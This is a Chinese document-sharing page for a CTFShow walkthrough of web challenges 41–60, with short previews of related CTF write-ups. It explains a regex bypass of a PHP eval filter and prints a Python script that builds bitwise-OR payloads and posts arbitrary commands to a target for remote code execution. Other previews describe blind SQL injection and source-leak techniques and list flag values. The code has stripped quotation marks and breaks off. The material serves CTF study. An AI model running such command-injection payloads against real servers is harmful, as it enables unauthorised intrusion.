Advertisement

CTFShow-Web41~60-Walkthrough

  • 5星
  •     浏览量: 0
  •     大小:None
  •      文件类型:DOCX


简介:
这段文档提供了解决CTFShow平台中第41至60题Web安全挑战的详细步骤和技巧,适用于网络安全爱好者和技术学习者。 ### CTFShow Web挑战41~60:深入解析与实战技巧 #### 挑战概述 CTFShow是一个提供多样化的网络安全挑战题目的平台,其中包含了大量的Web安全题目供参与者学习与实践。本篇文章主要关注的是CTFShow中的Web挑战第41至60题的解题思路与技术细节,尤其是题目41中的命令注入攻击。 #### 题目背景与目标 在题目41中,参与者需要分析给定的PHP代码片段,理解其逻辑并找到漏洞所在。目标是通过构建特定的payload来实现命令执行,并最终获取到flag。 #### 代码分析 我们来看一下题目提供的PHP代码片段: ```php if(isset($_POST[c])){ $c = $_POST[c]; if(!preg_match([0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-i, $c)){ eval(echo($c);); } } ``` 这段代码的主要逻辑如下: 1. 检查POST请求中是否存在名为`c`的参数。 2. 如果存在,则将该参数的值赋给变量`$c`。 3. 使用正则表达式检查`$c`中的字符串是否只包含数字、小写字母以及一些特殊字符(如`^`, `+`, `~`, `$`, `[`, `]`, `{`, `}`, `&`, `-i)。 4. 如果不包含上述任何一种字符,则执行`eval(echo($c);)`语句,即输出`$c`变量的值。 #### 漏洞分析 问题在于第三步的正则表达式检查,它仅排除了一些特定的字符,而忽略了其他可以用来构造有效payload的字符。具体来说,尽管不能直接使用数字和小写字母,但可以通过**位运算**来绕过这种限制。 #### 解题思路 为了绕过限制并执行任意命令,我们可以使用位运算符“|”(按位或运算符)。例如,如果字符`19`(ASCII码值为`19`)和字符`32`(ASCII码值为`32`)未被过滤掉,那么我们可以通过 `19 | 32` 得到 `51`, 即数字 `3` 的 ASCII 码值。这样,我们就可以构造出任意的 ASCII 码值。 #### 实践步骤 1. **生成可用字符**:编写Python脚本来生成所有可能的组合,以找出那些未被过滤的字符,并能够通过位运算生成有效的ASCII码值。 2. **构建payload**:根据所需执行的命令,使用上一步生成的可用字符构建payload。 3. **执行命令**:将构建好的payload发送给目标服务器,从而实现命令执行。 #### Python脚本详解 下面是一个Python脚本的示例,用于帮助解决这个问题: ```python #-- coding:UTF-8 -- import requests import urllib import re from sys import * if(len(argv)!=2): print(=*50) print(USER:python exp.py ) print(eg: python exp.py http://ctf.show) print(exit: input exit in function) print(=*50) exit(0) url=argv[1] # 生成可用的字符 def write_rce(): result = preg = [0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-i for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i | j if k >= 32 and k <= 126: a = % + hex(i)[2:].zfill(2) b = % + hex(j)[2:].zfill(2) result += (chr(k) + + a + + b + n) f = open(rce.txt, w) f.write(result) # 根据输入的命令在生成的txt中进行匹配 def action(arg): s1= s2= for i in arg: f=open(rce.txt,r) while True: t=f.readline() if t==: break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break f.close() output=(+s1+|+s2+) return(output) def main(): write_rce() while True: s1 = input(n[+] your function:) if s1 == exit: break s2 = input([+] your command:) param=action(s1) + action(s2) data={ c:urllib.parse.unquote(param) } r=requests.post(url,data=data) print(n[*] result

全部评论 (0)

还没有任何评论哟~
客服
客服
  • CTFShow-Web41~60-Walkthrough
    优质
    这段文档提供了解决CTFShow平台中第41至60题Web安全挑战的详细步骤和技巧,适用于网络安全爱好者和技术学习者。 ### CTFShow Web挑战41~60:深入解析与实战技巧 #### 挑战概述 CTFShow是一个提供多样化的网络安全挑战题目的平台,其中包含了大量的Web安全题目供参与者学习与实践。本篇文章主要关注的是CTFShow中的Web挑战第41至60题的解题思路与技术细节,尤其是题目41中的命令注入攻击。 #### 题目背景与目标 在题目41中,参与者需要分析给定的PHP代码片段,理解其逻辑并找到漏洞所在。目标是通过构建特定的payload来实现命令执行,并最终获取到flag。 #### 代码分析 我们来看一下题目提供的PHP代码片段: ```php if(isset($_POST[c])){ $c = $_POST[c]; if(!preg_match([0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-i, $c)){ eval(echo($c);); } } ``` 这段代码的主要逻辑如下: 1. 检查POST请求中是否存在名为`c`的参数。 2. 如果存在,则将该参数的值赋给变量`$c`。 3. 使用正则表达式检查`$c`中的字符串是否只包含数字、小写字母以及一些特殊字符(如`^`, `+`, `~`, `$`, `[`, `]`, `{`, `}`, `&`, `-i)。 4. 如果不包含上述任何一种字符,则执行`eval(echo($c);)`语句,即输出`$c`变量的值。 #### 漏洞分析 问题在于第三步的正则表达式检查,它仅排除了一些特定的字符,而忽略了其他可以用来构造有效payload的字符。具体来说,尽管不能直接使用数字和小写字母,但可以通过**位运算**来绕过这种限制。 #### 解题思路 为了绕过限制并执行任意命令,我们可以使用位运算符“|”(按位或运算符)。例如,如果字符`19`(ASCII码值为`19`)和字符`32`(ASCII码值为`32`)未被过滤掉,那么我们可以通过 `19 | 32` 得到 `51`, 即数字 `3` 的 ASCII 码值。这样,我们就可以构造出任意的 ASCII 码值。 #### 实践步骤 1. **生成可用字符**:编写Python脚本来生成所有可能的组合,以找出那些未被过滤的字符,并能够通过位运算生成有效的ASCII码值。 2. **构建payload**:根据所需执行的命令,使用上一步生成的可用字符构建payload。 3. **执行命令**:将构建好的payload发送给目标服务器,从而实现命令执行。 #### Python脚本详解 下面是一个Python脚本的示例,用于帮助解决这个问题: ```python #-- coding:UTF-8 -- import requests import urllib import re from sys import * if(len(argv)!=2): print(=*50) print(USER:python exp.py ) print(eg: python exp.py http://ctf.show) print(exit: input exit in function) print(=*50) exit(0) url=argv[1] # 生成可用的字符 def write_rce(): result = preg = [0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-i for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i | j if k >= 32 and k <= 126: a = % + hex(i)[2:].zfill(2) b = % + hex(j)[2:].zfill(2) result += (chr(k) + + a + + b + n) f = open(rce.txt, w) f.write(result) # 根据输入的命令在生成的txt中进行匹配 def action(arg): s1= s2= for i in arg: f=open(rce.txt,r) while True: t=f.readline() if t==: break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break f.close() output=(+s1+|+s2+) return(output) def main(): write_rce() while True: s1 = input(n[+] your function:) if s1 == exit: break s2 = input([+] your command:) param=action(s1) + action(s2) data={ c:urllib.parse.unquote(param) } r=requests.post(url,data=data) print(n[*] result
  • CTFSHOW~情报搜集(10~20)
    优质
    CTFSHOW~情报搜集是一系列专注于网络安全竞赛中的信息收集技巧的文章或视频教程。内容涵盖了从目标分析到数据挖掘的各种策略和工具,旨在提升读者在网络攻防中的基础技能和实战能力。 ### CTFSHOW~信息收集(10~20) #### WEB~10 题目:cookie只是一块饼干,不能存放任何隐私数据 - **背景介绍**:本题主要探讨了Cookie的安全性问题,强调不应将敏感或隐私数据存储在Cookie中。 - **实践步骤**: - **查看Cookies**:可以通过浏览器工具(如Chrome DevTools)来查看网站设置的Cookies。 - **使用Burp进行URL解码**:通过抓取并分析HTTP请求,使用Burp Suite等工具对获取到的Cookie进行解码分析,以便理解其中的具体内容。 #### WEB~11 题目:根据提示解析域名 - **任务概述**:本题要求参赛者基于提示信息进行域名解析,寻找特定的目标地址。 - **解决思路**: - **提示信息解读**:根据题目给出的提示信息(例如图片中的线索),解析出需要访问的确切域名。 - **域名解析**:利用DNS查询工具(如nslookup、dig等)来完成域名解析过程,并找到隐藏的资源或信息。 #### WEB~12 题目:有时候网站上的公开信息,就是管理员常用密码 - **题意解析**:本题提示我们关注网站上的公开信息,这些信息有时可能透露出管理员的常用密码。 - **实战步骤**: - **浏览网站公开信息**:仔细阅读网站上发布的所有公开信息,寻找与管理员账户相关的线索。 - **尝试访问管理员页面**:使用推测出的密码尝试登录网站的管理后台,通常会有一个admin路径可以访问。 - **成功获取Flag**:如果猜测正确,就能成功进入管理后台,并找到题目要求的Flag。 #### Admin是什么 - **定义**:Admin是“administrator”的缩写,指系统管理员,拥有计算机或网络系统的最高管理权限。 - **历史沿革**: - **早期阶段**:在DOS时代,由于系统结构简单,并没有明确的管理员概念。 - **Windows NT引入**:“Administrator”作为默认的管理员账户随着Windows NT的发布开始被使用。 - **简化与演变**:随着时间推移,“Administrator”逐渐简化为“Admin”,同时其他软件也开始采用类似命名方式。 #### WEB~13 题目:技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码 - **核心思想**:本题强调了技术文档中不应包含敏感信息,并且在部署生产环境时应及时修改默认密码。 - **解题方法**: - **查阅技术文档**:从网站提供的文档中查找有关密码或其他敏感信息的线索。 - **利用文档线索**:根据文档中的提示访问相应的页面或执行特定操作。 - **获得Flag**:按照指引完成任务,最终找到隐藏的Flag。 #### WEB~14 题目:有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人 - **题意分析**:本题讨论了源代码中可能存在的重要信息泄露风险,特别是那些默认配置中的敏感信息。 - **解题流程**: - **审查源代码**:通过审查网站的源代码,寻找可能存在的编辑器或其他软件的默认配置信息。 - **利用默认配置**:根据发现的默认配置信息访问特定页面或执行相应操作。 - **找到Flag**:通过上述步骤成功找到题目要求的Flag。 ### 总结 CTFSHOW中的信息收集不仅涉及基本的技术操作,还包含了对网络安全、系统管理和软件开发等多个领域的综合应用。参与此类活动能够有效提升参赛者的实践能力和安全意识。
  • CTFshow各知识点汇总.rar
    优质
    本资源包含了CTFshow平台上的各类安全知识点总结与解题技巧,涵盖密码学、Web渗透测试、二进制漏洞利用等多个领域,适合网络安全学习者参考和练习。 CTFshow各类知识点.rar
  • CTFSHOW web192 盲注标注脚本
    优质
    CTFSHOW web192 盲注标注脚本 是一个专为CTF竞赛设计的工具,旨在帮助参赛者通过自动化脚本快速定位并利用Web应用程序中的盲注漏洞。该脚本简化了渗透测试过程,使得安全研究人员能够更高效地评估系统的安全性。 此脚本尝试通过 SQL 注入获取一个网站的 flag。实现过程是构造不同的 SQL 注入 payload 并发送 POST 请求;如果返回的响应中包含特定字符串,则说明获取到了一个字符,将其添加到 flag 中,最终输出完整的 flag。 首先导入必要的库,包括 requests 和 time。定义需要访问的 URL 以及用于标识成功获取字符的关键字(如 u8bef)。接着定义一个空字符串变量 flag,用于存储通过 SQL 注入获得的信息片段。 使用双重循环来实现这一过程:外层循环控制整个 flag 的长度;内层循环则针对 flag 中每个字符进行逐一猜测。根据提示构造 SQL 注入的 payload,包括查询数据库名称、表名和列名等信息。将这些 payload 作为参数传递给 POST 请求的数据字段中,并设置密码为0。 发送请求后等待一段时间(如0.3秒),然后检查响应内容是否包含预设的关键字。如果找到匹配项,则说明成功获取了一个字符,将其添加到 flag 中并跳出当前的内层循环。 整个过程完成后输出最终得到的完整 flag。
  • CTFShow Web214 时间盲注脚本示例
    优质
    本文档提供了在CTFShow平台上的Web安全挑战第214题中使用时间盲注技术的具体脚本示例,旨在帮助学习者理解和应用SQL注入中的时间盲注方法。 CTFShow web214 时间盲注标准脚本涉及通过时间延迟来判断数据库响应的一种技术。这种技术用于推断出目标系统的数据结构,并可能进一步利用这些信息进行攻击或漏洞挖掘。 重写后的文本没有提及原文中的具体代码链接、联系方式等,仅保留了对CTFShow web214中使用的时间盲注标准脚本的描述。
  • CTFShow-VIP Web题详解及解题思路
    优质
    本文章详细解析了CTFShow平台VIP专区中的Web安全挑战题目,并提供了具体的解题步骤和思路分析。适合网络安全爱好者深入学习参考。 本段落档总结了CTFSHOW-VIP题目-Web的详细解题思路,涵盖了多个Web安全领域的知识点,包括源码泄露、协议头信息泄露、robots后台泄露、phps源码泄露、压缩包泄露、版本控制漏洞以及编辑器配置不当等。 在WP源码泄露中,通过F12查看网页源代码发现flag。然而,在前台JS的绕过下无法直接看到源代码。禁用js后,可以查看到包含flag的源代码:ctfshow{ae3d6a27-1de8-4b38-aa5a-0246096c0d0c}。 对于协议头信息泄露,使用浏览器自带的开发者工具检查响应头以找到flag。此过程中获取到的flag为:ctfshow{967b5eb6-da34-49e5-85cd-0cec4bb26922}。 在robots后台泄露中,访问网站提供的robots.txt文件,并从中获得指向包含flag文件路径的信息。通过该路径获取到的flag是:ctfshow{a14e892c-939b-4d7c-97f9-402bdf27d45a}。 phps源码泄露中,访问index.phps文件下载其内容,并从中找到包含flag的文本。此过程获得的flag为:ctfshow{9d84f387-4f56-43f8-972e-6aeb4a12c47c}。 对于源码压缩包泄露,使用dirsearch工具发现并下载了www.zip文件。解压后,在fl000g.txt中找到了flag:ctfshow{23b12f02-a357-4139-8b64-cac95dbf9e91}。 版本控制泄露包括git和SVN相关的漏洞利用,如未删除的.git文件夹或.svn目录。通过这些方法获取flag:ctfshow{3549966e-3157-46a9-97cb-e98754677930}(git泄露)和 ctfshow{738be3c2-0952-4398-ba9b-e9f0aa3cd399} (SVN泄露)。 另外,vim在编辑时生成的临时文件也可能包含敏感信息。通过访问index.php.swp并查看其内容可以找到flag:ctfshow{66a38e7e-2ef8-4114-91cd-b750b64dc7dd}。 利用cookie泄露,通过burp抓包工具检查cookie发现包含flag的信息。此过程获得的flag为:ctfshow{f1d3941b-a3a7-4ff0-aae1-18d917299635}。 在域名txt记录泄露中,通过特定网站查询域名解析信息,并根据提示找到包含flag的信息。此过程获得的flag为:ctfshow{just_seesee}。 敏感信息公布涉及管理员密码或内部技术文档泄漏等场景。利用这些信息可以登录后台并查看flag:例如,使用admin:372619038成功登陆后发现的flag是 ctfshow{f560519c-d1be-4e7b-a5bf-f0f0bacbbcce}。 最后,在编辑器配置不当的问题中,通过dirsearch工具扫描并利用上传附件的功能找到包含flag的信息。此过程获得的flag为:ctfshow{...}。 本段落档详细总结了CTFSHOW-VIP题目-Web涉及的知识点和解题思路,有助于增强对web安全的理解与实践操作能力。
  • CTFShow Web165 JPG二次渲染脚本(生成图片马)
    优质
    本文介绍了如何利用JPG二次渲染技术生成图片马,并应用于Web渗透测试中,是CTFShow平台Web类别第165题的解题技巧分享。 CTFShow Web165 JPG二次渲染脚本(生成图片马)的描述如下:该脚本用于对JPG图像进行二次处理以嵌入恶意代码或隐藏信息,从而创建所谓的“图片马”。这种技术在网络安全竞赛中常被用作隐蔽通信或攻击手段。
  • CTFShow Web189 无单引号盲注,利用回显差异
    优质
    本篇教程详解了在CTFShow平台Web189关卡中如何进行无单引号盲注攻击,并通过分析服务器响应的不同来推断数据库信息。 ctfshow web189 无单引号,利用回显不同进行盲注。
  • 60秒排序.zip
    优质
    《60秒排序》是一款挑战玩家逻辑思维和快速反应能力的游戏。通过简洁的设计与紧张的时间限制,游戏鼓励玩家在有限时间内找到最高效的数字排列方法。适合所有年龄段的人士体验并享受其中的乐趣与成就感。 60秒排免狗版比NE好用,不会掉片,不会有尺寸长短问题,完美支持Windows 10。
  • CCSK练习题(含答案:60道中文+60道英文).docx
    优质
    本文档为CCSK认证备考资源,包含60道中文及60道英文练习题,并附有详细答案解析,助您高效复习与自我检测。 CCSK习题文档包含60道中文题目和60道英文题目,大部分题目都附有答案,只有几道英文题目没有提供答案。